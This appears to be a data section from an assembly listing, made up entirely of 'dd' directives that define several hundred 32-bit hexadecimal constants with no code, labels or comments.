dd 0A5118E6Eh, 5A5EC2A3h, 0B8548F81h, 0EB83904Fh, 15DCD7A5h
dd 0ED7415C3h, 0A4FED6BFh, 224D139Bh, 9A6776D3h, 713004D8h
dd 350CAA70h, 22318806h, 69E25111h, 0B4E12E4Ah, 7A184140h
dd 49060F76h, 0E6F7E6E8h, 9E37E408h, 0C68B2D1Ah, 137F4C56h
dd 6F97A7B2h, 0D519AD82h, 0ACDD2F67h, 0E1466A07h, 22C722Eh
dd 0A333DC29h, 1F8D516Ah, 9A3C9F83h, 0B8B8959Dh, 0F78DFBCAh
dd 77119EA7h, 75F5C807h, 89BD8C96h, 95F8DABAh, 0D26227FAh
dd 7DED006Eh, 80DD7AC3h, 0C4CFA4BCh, 9D1297EDh, 608B327h
dd 6DE922h, 9FF5435h, 0A6711BBDh, 21DF9AEEh, 233386CDh
dd 3706CDBEh, 0D98D6D10h, 1F34EA0Fh, 2EC3130Ah, 0C6DD262Ch
dd 6E2DA6E5h, 287E47D4h, 7AC891F3h, 0CA288CE4h, 0B8CE9CF9h
dd 0A9EFD63h, 0D92970F1h, 6F581853h, 0BB8CCBCh, 0DFEF0CF3h
dd 13B79128h, 0F75CCE31h, 10AB89BFh, 0BB64163Ah, 42DDFA9Ah
dd 0DD9EEF96h, 2C963CAEh, 0BC037B07h, 3E876F5Bh, 0EA70E619h
dd 41335675h, 9B7E328Fh, 0D4130F47h, 8CF110D5h, 8F7815BEh
dd 6FE4518Dh, 74841B73h, 6A7C306Eh, 36756621h, 6E55778Dh
dd 802A301Ah, 3FBE158h, 151E636Eh, 7985AB02h, 58D65F80h
dd 9DA00D6Ah, 0C78C1833h, 0EF05D533h, 9B453C49h, 579DD987h
dd 364618EDh, 358F8837h, 0F8C187DAh, 0C5BA4315h, 5BB38A8Bh
dd 20E6B910h, 644AFA2Eh, 199F1C7Dh, 7C1522FDh, 0FA6C9165h
dd 477ED20Dh, 0BFCCE4E1h, 0BCFAA027h, 36C7E1B6h, 8B93EB66h
dd 0BB4641E1h, 0B72A327Dh, 4BA1F1F3h, 4F11CFD3h, 219FF370h
dd 99B24A3Fh, 2FD5636Eh, 83FEE38Dh, 0ED6C340Fh, 414E4AC0h
dd 7C75ABEDh, 214789F3h, 38733DB8h, 82573383h, 51D2FDC9h
dd 0A3217096h, 0C69037C7h, 6CEF02F5h, 0A6B23666h, 0A2BCC1E5h
dd 0E0386A47h, 58914545h, 0AFE452F2h, 306E7CF9h, 612EDB46h
dd 16A8A87Eh, 0E5BB064Dh, 749F0F51h, 0DCC528A8h, 51C36418h
dd 11BEEB85h, 3D49A20Ch, 8BEC9913h, 5D597552h, 21A51E52h
dd 0B425DB4Ah, 4E3AA118h, 0B3DD03A0h, 46B03478h, 0E18F8721h
dd 0F316E459h, 0C00C8834h, 0EA298EE6h, 0CA6F9DDCh, 52F1FF88h
dd 0E0C9236Eh, 7A86D7A5h, 3382EE35h, 1BAFC477h, 446710C8h
dd 800F93D2h, 0E8DB1140h, 0C43E1129h, 5B2DE936h, 28DB471Dh
dd 0CF871E9Bh, 0F335747Ch, 5145AB9Ch, 0E5CD511Ch, 1F5A71C4h
dd 7883828Ah, 89A6C907h, 45730C03h, 0AD426D66h, 0CE6AC54Eh
dd 2D7E6BC2h, 0B83DA7A7h, 75275497h, 264517D7h, 55DF88E0h
dd 0A082E49Ah, 94733834h, 0B959831h, 6B50F0A8h, 2594D3D1h
dd 0FF6C9F55h, 3836D686h, 0D7D16C59h, 3A180AA8h, 0B077435Ah
dd 0AD255662h, 887D33F7h, 0E870D5D9h, 0AA5A2409h, 0C5F15EF9h
dd 7589516Ah, 7833B8E2h, 0AEFD662Fh, 7B44EC54h, 0CA99092Dh
dd 679EB0B8h, 109101FDh, 0D635BAEAh, 6F3F28Eh, 4AA0D965h
dd 0F2B1BE28h, 78AC0B45h, 0AC5C40DEh, 0EC8EFFB8h, 32D4891Dh
dd 0D8D3DCD0h, 4176CBF7h, 560C0074h, 32B95222h, 0FA490B3Fh
dd 5214CC76h, 0A31A0B40h, 5613134Fh, 5FB3FCB0h, 0DC7A69A5h
dd 0CBB254E9h, 0D841E3EEh, 0A599047Fh, 4334FF54h, 0E650E289h
dd 8FD52A6Fh, 3100D5C1h, 0E87A4672h, 46B0D4ABh, 2AAD941Fh
dd 0F0782F7Dh, 9543525Eh, 5ABDC74h, 744AE255h, 0C1090E5Bh
dd 7635E792h, 92F13C8Ch, 4ADC0FCCh, 78C1E69Ch, 997251B4h
dd 1B90D06Fh, 0B50D1275h, 247F0B71h, 0C6A2A0F1h, 4CFA8211h
dd 3B2E07D4h, 0D21F3C33h, 9E32905h, 70E188FDh, 0AA30535Ah
dd 0E68A7478h, 0F4CF4181h, 0B63D40F3h, 5BBC37FAh, 784BFF98h
dd 0E66E4174h, 0A86F72C5h
dd 0E7FD542Fh, 20A569C6h, 0DEA4451Dh, 4FD27242h, 466B238Ah
dd 9FF3370Fh, 3EA708B4h, 4FD42703h, 4E1B2DEh, 1A037752h
dd 0C8966A75h, 0E0E86328h, 0F666A0ACh, 9645331Fh, 1717E202h
dd 0A43574A0h, 71FA0171h, 4C275A13h, 0A018680Eh, 0C7CB74C2h
dd 0F340396Fh, 57C39403h, 7BD1C76Ch, 395DDCCBh, 8671662Ah
dd 6EB44FB5h, 8BA8A557h, 427F8239h, 1A85A473h, 0F43EE074h
dd 835B5828h, 0FBB78B2Dh, 9A44171Ah, 6EB8525Ah, 967E6DF3h
dd 0D5ACB3CBh, 8CD54B21h, 0EA446C29h, 824FB154h, 94CC8239h
dd 0B9BC4F0Fh, 26E53328h, 7BBC121Eh, 0CBEC686Bh, 0F6AEEB59h
dd 0A1A45A4Ah, 26638ED9h, 5834CBD6h, 0B746FB2Ah, 0CEEC393Dh
dd 7B1F4DAAh, 0C3824A6Bh, 0AC348269h, 9B9EDA1h, 99ED1612h
dd 0DCFE7D3h, 0E142564Dh, 0A49801D5h, 0DEC3F0DFh, 1209E05Ah
dd 0E44AEEFBh, 2FCE4BA0h, 4DD0003Ch, 0F6097AFEh, 0C7102CC3h
dd 0E6F1A551h, 0AA3C39D2h, 0C507DE24h, 61204585h, 0A66BF4B5h
dd 41F23B2Ch, 738F1D39h, 0F3391559h, 6195972h, 5884F22Dh
dd 0F52D100h, 0EAE974E0h, 5D4637B8h, 89CFDF0Fh, 0A04641C8h
dd 0E7FF3A6Dh, 0C12D6C05h, 0F6990B78h, 0CDC8DDF0h, 17036A24h
dd 0AB6CA713h, 0C503344Bh, 9B7515h, 981377A1h, 0F9688659h
dd 0E66AF28Eh, 81C08F52h, 61E2E80Eh, 0B5ED5A82h, 4129E7DEh
dd 557A4BF7h, 0F6A35AA2h, 0EDC08CCh, 0CF811D13h, 56704CCDh
dd 514C2C27h, 7D49BC8h, 1A7ADE04h, 72E6E681h, 7472ABB4h
dd 0D15AECBCh, 5F8FEE10h, 7C01EE5Dh, 1676D69Ah, 67D9AF7Fh
dd 0B1D0BF90h, 0F682F732h, 29B1A962h, 0C10C299Eh, 32DFC23Ah
dd 86F5AF38h, 0A497B759h, 77A4FEC0h, 8C4A7AB5h, 2697F80Eh
dd 0F6955938h, 9C1A8AC0h, 335DBD3Fh, 0F7F6DF3Bh, 44E1F139h
dd 0F875FDC8h, 67AEC488h, 152E98FDh, 0E497450Ah, 0D477DCBAh
dd 9548A6B0h, 1375D450h, 3F9D232Ah, 0A338FAAh, 0E3CE74CEh
dd 1E2CCB8Dh, 0CC425F78h, 203E817Bh, 0A9E3BD28h, 18EAE020h
dd 93F8F012h, 24722DAEh, 72526E89h, 9F8B20A9h, 94D30ED8h
dd 414A45A1h, 0A51E85EAh, 6D4C5D6Bh, 8BD446Bh, 0F62CF2C5h
dd 3E42B539h, 82ED4483h, 0E6E8C7E7h, 93AC1B08h, 0F396AD48h
dd 817184FCh, 76C902C5h, 0C1431D2Ah, 1F8A2271h, 0B92B49CAh
dd 172A929Dh, 4FE0D4D6h, 159A2FDBh, 7BF9BABEh, 6C6E3405h
dd 4CF18597h, 0F0EBC3B1h, 6593FCD8h, 1F2AE136h, 0E5C845AAh
dd 1B419002h, 9C4A1B4Dh, 0C012D853h, 1757C1A3h, 4718B18Ch
dd 1F28E5F7h, 0E77D81Dh, 0C6CDEDF0h, 7D51D6D3h, 4C6E9458h
dd 0E169030Ah, 0ABA03347h, 0DBB8D031h, 3E682612h, 0DCE8229Fh
dd 783373AFh, 1E24F6EBh, 3523AEB0h, 0CDD78A5Dh, 9E71C2Dh
dd 0F181546Dh, 0E9071B19h, 0DCD72AC6h, 1CB456BCh, 201AE569h
dd 4194A381h, 8156B79Bh, 90B79D69h, 0D4319816h, 748F44CDh
dd 0F7567E5Fh, 0A2AAA8A9h, 4977CF40h, 6DE67CE5h, 39E9E35Ah
dd 0A9412C72h, 21CBDE63h, 35F99C8Eh, 21DAC68Ah, 20415EE4h
dd 0DA2E16B2h, 0F1AEC48h, 6BBB2F03h, 8B733DEDh, 6ABF5FE0h
dd 4DC64F00h, 0D32C99E0h, 63F1C621h, 76CE877Fh, 0A489D2EFh
dd 699D60EEh, 338D8D0Ch, 64EA1BCEh, 40B651B8h, 436D1FEEh
dd 1D9EC506h, 6B96EB94h, 6F816B09h, 25EE5127h, 2A602585h
dd 4937B898h, 873B8368h, 827EB55Ah, 0E4282ACCh, 2FEB6D9Eh
dd 0ACED7EFAh, 0F227E12Ch, 17AEFF6Eh, 5B1335A2h, 72E43B74h
dd 2479DD48h, 51160939h, 0A112C9F1h, 0A322273h, 68BB7E3Bh
dd 0B0F4D67Ah, 0E6549179h, 77AF158Eh, 0B6F971Bh, 0F9B33288h
dd 6B73A03h, 0ADF8AA95h, 0CBEBBEFAh, 9B3DB47Fh, 0F9E66BC2h
dd 0D4ED51AEh, 926AB6F3h, 3768318Ah, 737C4097h, 806AE81Ah
dd 2D2A91B0h, 0FCCEC88Dh, 0BEBD588Dh, 0ED5FDA72h, 0AF671D81h
dd 430CB28h, 0ACCAE33h, 1D360C1Bh, 77A1FBF0h, 99358366h
dd 318E7004h, 5559D4BCh, 0E81AD31Dh, 0A4897E27h, 5C5631D8h
dd 92E3EC92h, 20417260h, 27A5D97Eh, 0A01BC547h, 87A1748Ch
dd 0BC63259Dh, 512058C1h, 0C3A91E7Ah, 0DB2A28C0h, 0F1F104EEh
dd 45A4A364h, 0F7CB6C4Bh, 0A920B96Fh, 0F0CACD32h, 0B9855379h
dd 818E47A5h, 3EEF55B8h, 0A0524EFh, 0B55E9F81h, 0D30528CCh
dd 63B1E78Ch, 0D7324D3h, 5A49B185h, 52613DCBh, 497AD993h
dd 5108F6E1h, 312A6DCCh, 909791DEh, 84780914h, 0DBE5BFBFh
dd 2A668963h, 0E9864407h, 0BEED17B8h, 777E73FAh, 3AA7B9F3h
dd 0F8DC67FDh, 0CF53C1Eh, 5D923DFh, 0C6C1AE49h, 37D1F674h
dd 52018145h, 0CC692915h, 7BBE7752h, 84B9C052h, 0C755EFB2h
dd 0FAB042F1h, 1162B342h, 72462AD9h, 0B0E2F93Dh, 0F15860Dh
dd 0F7EF322Bh, 4AF1EB24h, 262F8F42h, 17841BAh, 513845B7h
dd 1BEFC496h, 0C9E75F7h, 0EA8486A8h, 8A74E751h, 0CAD77B7Bh
dd 537651E6h, 4425E2A5h, 161DEFDEh, 0D891B2C9h, 602C2A08h
dd 0AE18DFC8h, 0D3FD08D0h, 7DB77B3Dh, 390DD9ABh, 41CD483Eh
dd 0F4E242C8h, 9F8217ADh, 2FC65542h, 37AD3C4Bh, 7DF82D31h
dd 0C5CF83E4h, 423A767h, 656C482Eh, 316041E3h, 0EEF0013Bh
dd 7FF6006Fh, 246C8F70h, 0BD5814D3h, 268CCB61h, 0DDDC5D27h
dd 0E9604B78h, 5FAA29D9h, 5F3BF102h, 0F6F6AA3Dh, 0D2500C86h
dd 673AE56Ah, 3E0F2B8Ah, 0DEEF252Bh, 47D7B13Bh, 9A2A4EC4h
dd 63F89B5Dh, 0F74B5566h, 0AF2581A7h, 0A8A6829Ch, 182A6154h
dd 0F93A7714h, 96D721ECh, 442B2D11h, 0CE5EAFCBh, 509A8C37h
dd 83A9EA2Ch, 0CE4EFC53h, 83146D14h, 2784DC50h, 452A1369h
dd 70843D82h, 1EABFEACh, 0A995CE76h, 1253A3B4h, 7FAB4FDEh
dd 0DE171151h, 0ED49B6E6h, 481D0A91h, 70B6DE77h, 0EAD53091h
dd 994542Dh, 63643679h, 0E9E87658h, 71B7C7B9h, 3E3F29F5h
dd 368A873Eh, 0D2F3BB7Bh, 12EF1DBFh, 8A7E6C08h, 4A999903h
dd 0E6EC5BACh, 0F290E39Ch, 9E48F284h, 0EE0975B6h, 3835B3D7h
dd 434ECE23h, 0C21D4596h, 9703FC0Eh, 51655924h, 5ABAD3D3h
dd 60F39559h, 43AEEFEAh, 0C2710F78h, 4396715Bh, 5C657F02h
dd 675B4580h, 62DE7B3Ch, 0BAABF54Bh, 33F24237h, 6BADB4F8h
dd 0E3F1F579h, 0EA877068h, 7AC2AF3Eh, 666E6BEDh, 41F91560h
dd 0E88BDBFDh, 37029827h, 832CC185h, 8B65E44Fh, 5E3F4C0Ah
dd 7973012Ch, 0EF31ED36h, 8785C3B5h, 0DFEA64DFh, 3D649348h
dd 93DC283Ch, 0AB8DE5D0h, 0D6894F5Bh, 0D1E17A25h, 69907B00h
dd 207B94E0h, 4CAD8C4Eh, 6B8F4DD6h, 95F4D706h, 8D489A3h
dd 0F3E6BDBFh, 0F20BA50Ah, 513BDDEAh, 620D80B6h, 2BF7E187h
dd 3AFC51DEh, 58B3350Bh, 2FC6C666h, 0E7084D97h, 201C297h
dd 2EAEDF82h, 6B090C85h, 2FF1D4DCh, 59E9E041h, 9F606364h
dd 0FB58A950h, 50BE6D57h, 0B633386Dh, 9B192ABAh, 622BE0E9h
dd 8533201h, 0F88587F4h, 8EAB7E5Dh, 8346F33Fh, 0CD01A275h
dd 0C45E5534h, 1D2E16CEh, 0EE942F10h, 0DBD88A04h, 54452775h
dd 26413867h, 60E17176h, 852A8565h, 7F3E9D48h, 0EA1B312Fh
dd 0D71EC037h, 1E17BAFh, 0B239A3F2h, 0E920BF21h, 6EB4DA69h
dd 5D2AE25Ah, 8CC34191h, 3F4C41FFh, 7E620311h, 969A6D67h
dd 6973EF6Ch, 42B91A9Dh, 0D38C39Dh, 4BBB064Eh, 0D908CE3h
dd 0DF6532B8h, 8CE6B196h, 797F9ACFh, 2BFA1A2Fh, 10D08534h
dd 0B2D650Bh, 92DF03AFh, 5C19D498h, 15883B4h, 5D8DDAB9h
dd 3A7C450Fh, 3D8DDFD8h
dd 7D1D8308h, 8C041DDBh, 62C53CC7h, 0D9F34DD9h, 0E9EF73ADh
dd 9BC942CDh, 0E402F302h, 0B5DEFE5Ch, 0F5F16F01h, 0CF0AD9EDh
dd 3FDE0AB8h, 0B1AFA9D7h, 0C587C0D1h, 0C82C141Ah, 0D6C950AFh
dd 5ED1F652h, 8EBB83BEh, 0E653DC8Ch, 611122BCh, 15F8908Bh
dd 0F15D75DBh, 0C2D36419h, 0C8F41DBFh, 0E76B8285h, 0E1780A3Ch
dd 0DAFD30D3h, 0BA1369D3h, 438E0178h, 0C0514A7Eh, 5D91AD76h
dd 64CC455Bh, 17AC0EB8h, 1F878D89h, 19417B45h, 0F7C07C89h
dd 6C5A7886h, 51EBAEBBh, 0E1C11287h, 0D4FC09EBh, 0C0109209h
dd 5C654056h, 896A4F93h, 60617127h, 0CBC87BFBh, 77C9E11Bh
dd 885ADB7h, 0FC620D70h, 0A2FCCC93h, 0F69CC8EDh, 33EAA589h
dd 0EAE30E49h, 0F8E650A7h, 0F71545B4h, 0B8D87F9Bh, 7DB928DEh
dd 511E6B55h, 86D4E2C8h, 0FD976CBBh, 1EC418F2h, 0F42F9F95h
dd 37ABC8E2h, 160C947Bh, 80936E9h, 0C4002BC2h, 0DEAA8411h
dd 619C5AAEh, 4B1F4214h, 537AC700h, 38EFF223h, 0DF922480h
dd 52FC635Fh, 77EDAF6Ch, 1CE8C20Eh, 0C5B6FECh, 71E68A94h
dd 54558093h, 132DD900h, 0B0A088EFh, 78637178h, 35A059B9h
dd 56613FEEh, 0F2CE85A3h, 2A8701F2h, 226B258Dh, 0A8623EA5h
dd 0A1BBB2B4h, 0C7294558h, 28063037h, 4C253AD1h, 0FB0F0A87h
dd 73F1E8Bh, 584AE922h, 8C70528Bh, 8F05198Fh, 0BA01C3ABh
dd 799CF537h, 0C634C5C7h, 0C1C89AF2h, 0D2D528E5h, 547FE4DDh
dd 0DE9CF99Bh, 8517EB2Dh, 0DBD8B1B6h, 643ACD52h, 0ADFEC65Ah
dd 54F023EDh, 6A7611CCh, 74D9A8BAh, 0BB9544F0h, 0C9BB1E4Ah
dd 0BD1CE14Dh, 78DB8521h, 1A7DA5BCh, 7E2C3451h, 0CBAEE0ECh
dd 3392012h, 284BCC1Bh, 1EC7120Fh, 0F7A68882h, 613AB32h
dd 5F1D5900h, 0A6AFE1BAh, 0C85B9A92h, 3369337Dh, 43F10B67h
dd 0BAB1BCEh, 0FB7AF59Fh, 6041D883h, 2B1FD47Bh, 1EA33C7Ah
dd 2E8E2157h, 0C3219650h, 890C3A08h, 74438F14h, 5B2A4828h
dd 0BC723D23h, 0FFDD557Bh, 0E05E6345h, 17A5B918h, 0BB81172Bh
dd 60FEA353h, 0A0975770h, 0D13D143Dh, 5BE3D180h, 31998723h
dd 62DB4E98h, 0D2CDDB7Ch, 34368F09h, 0D070FC9Ch, 3522954Dh
dd 803F35DBh, 0F971965Dh, 0C24C9870h, 51C0D2Ah, 4DDC8D62h
dd 0E665B75Dh, 1D234A58h, 0FAD06630h, 0C82E64CAh, 70ACD286h
dd 47DEAB1Bh, 870070B1h, 22BE0D65h, 0C8291704h, 0DB7A3275h
dd 11EB7BBDh, 0F7F7A1B3h, 25857149h, 5594EAC6h, 0D94B5FD7h
dd 144C2E0Ch, 26B141BEh, 7AF948CCh, 0B9B9B167h, 3B68D99Bh
dd 2B5D81EBh, 4930A8h, 97956862h, 0B6C5A264h, 0C4D3FD38h
dd 752B657Dh, 0FE93E8ABh, 0D5B90752h, 5A4B214Fh, 0D57E973Dh
dd 5F1A3BF1h, 41EA8EDDh, 6920BD4h, 53A12519h, 9B7EBBC9h
dd 307E68FBh, 84E985EFh, 0A11E1650h, 0FF6B4424h, 0D55AB317h
dd 629C2A9Dh, 87AC7A42h, 2F36EF7h, 25DE5EB5h, 6E845886h
dd 0BDDEA551h, 9C4477DFh, 3CC48165h, 0F60C3D0Eh, 0A5BC9514h
dd 210CE3FCh, 97045EFBh, 63241F32h, 2A76900h, 44DE809h
dd 49A6020Ch, 935A6D2Dh, 2520BC1h, 0D3809069h, 0D194366Eh
dd 30C46327h, 5BDF3FD1h, 564B349Ah, 97914788h, 8257EB56h
dd 7BED37Fh, 1BC4F962h, 1C1DDB1Eh, 0C29A0FECh, 4BF875E6h
dd 0FFCF52DDh, 47A2061Ch, 0C49E4925h, 20AA500Dh, 0BBEC4E61h
dd 0D76C0F49h, 4D92354Ch, 2AAE5ABAh, 61CF5F91h, 0C8F78B93h
dd 49974AB8h, 7C9733EEh, 6A789F4Fh, 8995CFCDh, 26080274h
dd 0CA192163h, 6ED99006h, 5197BCFh, 9E95AFDh, 0BEA24316h
dd 47EEE3F6h, 143348C7h, 0DAC72EF5h, 0EECBB211h, 4DC3C372h
dd 0AC5CB059h, 22512CA8h, 2B9DC775h, 0AD642B98h, 635760C2h
dd 5EF5098Ah, 0F1DC96C9h, 0E7F242A2h, 9D3203FDh, 60F612C9h
dd 5B2A1136h, 0AE45AB0Eh, 3A8DB153h, 0C83ECF16h, 45D1B1A9h
dd 936E6E78h, 261D0998h, 7FB7E3D4h, 19FFA910h, 0BA064C08h
dd 0C7567866h, 15F3045h, 0FCB97157h, 0BAA4FC04h, 0E60E5569h
dd 0F0FE3927h, 43B0C682h, 92D3ACF1h, 0A6C9D6DBh, 9766B673h
dd 3B86CE2Dh, 9C78347Ah, 0F6F981A9h, 97DC4757h, 0F9690FE9h
dd 0F499FCD1h, 249ACA2Ch, 6BA6F8BFh, 2D313B36h, 0FFFFE2A2h
dd 802A7CADh, 0C3308F1h, 0EF73C88Ch, 61F9F872h, 7DFAA848h
dd 0FF399DFCh, 28675F7h, 0C46D1447h, 0B439BC10h, 52887195h
dd 0C1737190h, 1613BC85h, 0E9760321h, 99C73E2Fh, 0EE11E8BEh
dd 0BAC4983Eh, 1EDA6960h, 0FCA27924h, 0DD19219Ah, 0EDD3FB96h
dd 0A63C9032h, 3929726Ch, 20D504A4h, 0C3ECAE5Ch, 7F416DC5h
dd 0EDDFDCE0h, 5BF71266h, 54744103h, 0A62ECCBFh, 3FD7D0E5h
dd 35FEBA80h, 0A26B2A8Dh, 0D7DC59h, 0E70D2F21h, 0C527E145h
dd 0A24DBA40h, 3734D8E9h, 0BD680F67h, 46EE68DBh, 726A72AEh
dd 0C9328335h, 69F9D699h, 7F9C7090h, 0B5A4ECE1h, 0FE0E3764h
dd 82DE437Dh, 0A20FAC48h, 8AAC2A23h, 2CDC73F4h, 7F1A79F9h
dd 4E7D4D55h, 0A408C367h, 1A19400Dh, 86EA9796h, 0F18AD3FCh
dd 0EDB3CC24h, 1CA2B4BDh, 0AE360752h, 89D6ED94h, 8A1C32DFh
dd 141086D5h, 52CA7EEDh, 0A12F1B20h, 49D577B9h, 0FAB7618h
dd 311DC723h, 5F3F1824h, 0B3FE09EDh, 9E6FD50Ch, 31C17CAFh
dd 9F0BD54Ch, 0D3B58F2h, 5DC4078Dh, 0DB26FE15h, 217CE881h
dd 46BA8296h, 0D28F74A2h, 0ECA71918h, 0C59A14DCh, 7AD4091Ch
dd 7D8205FCh, 0A7C6F2F1h, 29204DFBh, 0AD88069h, 9E79A236h
dd 22EFFD95h, 0AF40FD64h, 1E6E2B9Fh, 290635D3h, 0E4D6B4Bh
dd 143121FAh, 0FEBCD6D8h, 12A090D3h, 0C1EE632Bh, 40F9E01Eh
dd 1127F3C7h, 8AF89BB5h, 0DE64F7h, 3AAF6CE9h, 84DBCD9Eh
dd 5C9DEF09h, 0E847B0BCh, 2345CB67h, 3EC07CF8h, 0B54B4206h
dd 4E20827Ah, 259758E5h, 19A3B3F4h, 767E510Eh, 37B213BEh
dd 4DEF5461h, 9D0BE356h, 0FC942EC8h, 8C79F23Ah, 1DD0CC67h
dd 674EE259h, 39C800CEh, 5851EBFDh, 0EA1F46B7h, 0BFF9271Eh
dd 57646D6Dh, 75D34889h, 1EF14645h, 278B89F4h, 617A1B21h
dd 639C6A59h, 3886C9E5h, 0A907826h, 53C6607Eh, 7C7B97C9h
dd 0BC6C9738h, 9F52F7Fh, 804CFDFEh, 25AB3308h, 0D716A89Ah
dd 0C3360E5Ah, 92128C57h, 615105FAh, 0C8A7FD8Ah, 0FC7B9DACh
dd 7CC7F14Dh, 967A5A93h, 8E38F10Ch, 259D4BB8h, 4A6FD7C0h
dd 2DD5433Ch, 8766E5F4h, 69D3EDC0h, 78EAD7F8h, 78B6C5F0h
dd 6848C4EAh, 853AD7C3h, 5780E1A1h, 8ECB6043h, 0C6A01B2Eh
dd 7B2D3F7Fh, 0FA7399C3h, 3779274Ah, 24A4DEEDh, 0AA215E52h
dd 1E2783EBh, 0CE5388DFh, 12C9F825h, 0B9184644h, 5ACDD1A0h
dd 0BF3A3CB0h, 0C073C500h, 0A9D8C413h, 836A4D2Ah, 13139BD0h
dd 8540F167h, 2F74E3B4h, 420B21BEh, 44EF7194h, 99883F3Ch
dd 1DD78597h, 113F7ECEh, 4C111DB5h, 0D61E72A0h, 7F1EA462h
dd 0B873D0E1h, 0C2B07932h, 1777F91Dh, 7993811Fh, 50E45131h
dd 0B84D3360h, 66540BA5h, 222D6D9Ah, 9F9870E6h, 3F09FFDBh
dd 62EF959Bh, 1B69B412h, 1BD1C510h, 0BEB952DCh, 178136FFh
dd 36CADD72h, 91206FD5h, 78DB1425h, 0F81DFDD8h, 21486CF8h
dd 80974122h, 985F50E1h, 16C43C13h, 0D2D1BFBCh, 4941345Eh
dd 78E937D1h, 3135601Eh, 0FFF7170Ah, 4C789DFh, 0BCF614B7h
dd 69C95683h, 69928C48h, 0A2511AC5h, 4FFE2C65h, 0EACC5D5Bh
dd 0B2D64635h, 57F92734h, 0A9B3D5D1h, 0D350AE7Dh, 0F089B143h
dd 0D938A601h, 573E973Ah
dd 2246C659h, 27CA7F1Fh, 8D19DBAEh, 7D1D1930h, 7D6D5633h
dd 1E717A29h, 6874D704h, 0EC83A852h, 913FD339h, 0E7845F56h
dd 0FCF8EB14h, 8A5AF887h, 124B0C2h, 0E68894F2h, 0B548FF7Fh
dd 0E37F07EBh, 0DB4F94Eh, 0E74E05Eh, 0BFDA4FD2h, 0D1A0AEE4h
dd 0EE21B61Ch, 0D54DCBCDh, 0D14A3159h, 670CDC56h, 88EB0084h
dd 88827821h, 7D1D626Bh, 0ABFCC4A3h, 401FEEFCh, 0DA47D040h
dd 6523ED31h, 0D6518F60h, 691BFCC3h, 0B0752292h, 7F1B9F28h
dd 8DC9F1C5h, 0ECCD07C7h, 0F6B0BC15h, 0CB627C3Dh, 288D49DBh
dd 8ABB4E2Ch, 0B2A474DDh, 42937EA2h, 0AD1B43EFh, 0A74EAE07h
dd 24E108C4h, 0CB1FAF9Eh, 1E9ABEAEh, 24C334F8h, 9A3DBB2Dh
dd 88ADCAFAh, 0BB238047h, 661662E9h, 0CC73301Ch, 49D60B43h
dd 0C9DBB128h, 0A52E6597h, 0D1848B4h, 47C52520h, 97F36A39h
dd 7992ADA0h, 47E7BFE3h, 675F7CF5h, 17E269FDh, 0C99481B7h
dd 0C198701Ah, 0A0FC423Ah, 4CB8FCE8h, 0EE8975F8h, 4B9BDA0Ch
dd 27F823B4h, 6CFBB92Ch, 0ACD3AB20h, 1B7FC5Ah, 40C14EEBh
dd 0B8CB7BA3h, 51C50380h, 0A865AE1Bh, 0FF405158h, 8E870A60h
dd 7C6F1DC0h, 0A7036F31h, 7DA39359h, 700CB77Fh, 6D134ED4h
dd 0C8DA6AA3h, 3B9FB864h, 384F80CDh, 46C881FAh, 602B49E5h
dd 0ABCCDA44h, 0D9BB082Ah, 3830AA71h, 0B0499B3Ch, 0DBAF8EBBh
dd 0BF6593A7h, 76BB8DC5h, 9647CCB5h, 4EE0F3E3h, 0D51D8A9h
dd 16375178h, 51831CB2h, 30019BBAh, 3A10964Ch, 4D5BC745h
dd 0E524E8E9h, 0CD51F11Ah, 0B01D10E1h, 0EB198AEBh, 93913241h
dd 0EA6D5AE8h, 0DEC84A8Dh, 337105BDh, 943AC166h, 66F077BEh
dd 0ED8CB148h, 0B10181Ch, 8230FE9Dh, 0E79C57BBh, 1B61CF6Fh
dd 0BE37B52Dh, 6794741Bh, 0FD2FDF2Dh, 525A227Dh, 0E29CB09Eh
dd 0D4F259C1h, 47E9BB70h, 0ADFA9FB5h, 0B230731Ch, 381E3C2Ch
dd 93F601EAh, 3C5E75FDh, 5AD59592h, 7AAF94ABh, 82653921h
dd 540C1B04h, 4E184330h, 273E3474h, 21B3899Ch, 54BE8C80h
dd 17833775h, 7ADCD0E5h, 0F9D60F79h, 246C97E1h, 15F5EA2Bh
dd 0C1721A42h, 8FE418DCh, 52D021EDh, 67910F2Bh, 0B98F798h
dd 0CC12B735h, 0B3DC9BD3h, 19D6B959h, 5316ADAAh, 0E0101977h
dd 3B554690h, 0DA1D2AD3h, 0FEC52D05h, 1EAEB3BBh, 0A3C0EB56h
dd 0E83082B7h, 31EBDA56h, 3BD5ADDBh, 0F17A2197h, 4575C150h
dd 0CE150D1Fh, 0FD8401B7h, 0B85913A5h, 0CCA7998Dh, 72CD692Ah
dd 5F0ED49Fh, 75B5685Bh, 2C8CEDB0h, 0F3C5F500h, 0E14EFF20h
dd 5D4409C3h, 0D9D1AA26h, 95AB60C6h, 0C3372B1Eh, 0ADF5A81Ah
dd 0F558D029h, 1EA75830h, 1C71D0B7h, 0A6E75206h, 67B67766h
dd 9608EE2Fh, 0A301E5E0h, 0BF452FB0h, 0F6639B14h, 0D558FBC9h
dd 0B4FB2C31h, 0A06DB4BCh, 0F19CD4F8h, 0EBD11740h, 0F37FE01Ah
dd 1FA4971Eh, 0EEAD4DB7h, 3A8EFD7Fh, 0DF910A4Bh, 3A01AA23h
dd 0FF4131B8h, 7096DE50h, 24DDE79Bh, 0DCA941Bh, 0EB442FE9h
dd 0C23DD27Bh, 8FDD1433h, 0D1B9C26Eh, 1A79BF1Fh, 6AC2D9D5h
dd 6CB1986Bh, 0BD3C07Ch, 72A3E72Bh, 6F46E9E1h, 7DB747D3h
dd 34C9C333h, 0A7ECA6FAh, 920D373Fh, 0F0F67246h, 0C24A57Dh
dd 0F01FEFFh, 0F1FB952Ah, 26B1D699h, 9644EA3Fh, 889D646Eh
dd 0B865619h, 3FCCF4h, 0FD3FA6DAh, 4EF81ABBh, 0B8377144h
dd 0C8DAD533h, 7140A7A9h, 34B25AA4h, 0FA864A1Bh, 3302206Eh
dd 0FC01FD25h, 0C6F989D6h, 19265A14h, 0BB4CC647h, 3B0B8DADh
dd 90831BBh, 0D53471D3h, 41CE64B0h, 1D3737D4h, 3A11743Dh
dd 73D184D9h, 0AAA28044h, 0F32DA725h, 0BC4836F1h, 575F5E58h
dd 76CD4EBCh, 0A08CB6FFh, 0B07715FAh, 8F74D637h, 61F8BE05h
dd 0CDA4BD1Eh, 0BCDE1D8Fh, 0B1FEE361h, 5CD6CFD0h, 82219B56h
dd 1A574782h, 881607A5h, 3CADC6B8h, 0FBA1FE55h, 0ED0B62CAh
dd 0C4E91CAAh, 518E0546h, 8E8FBC13h, 0AAD78471h, 6AA7D91Bh
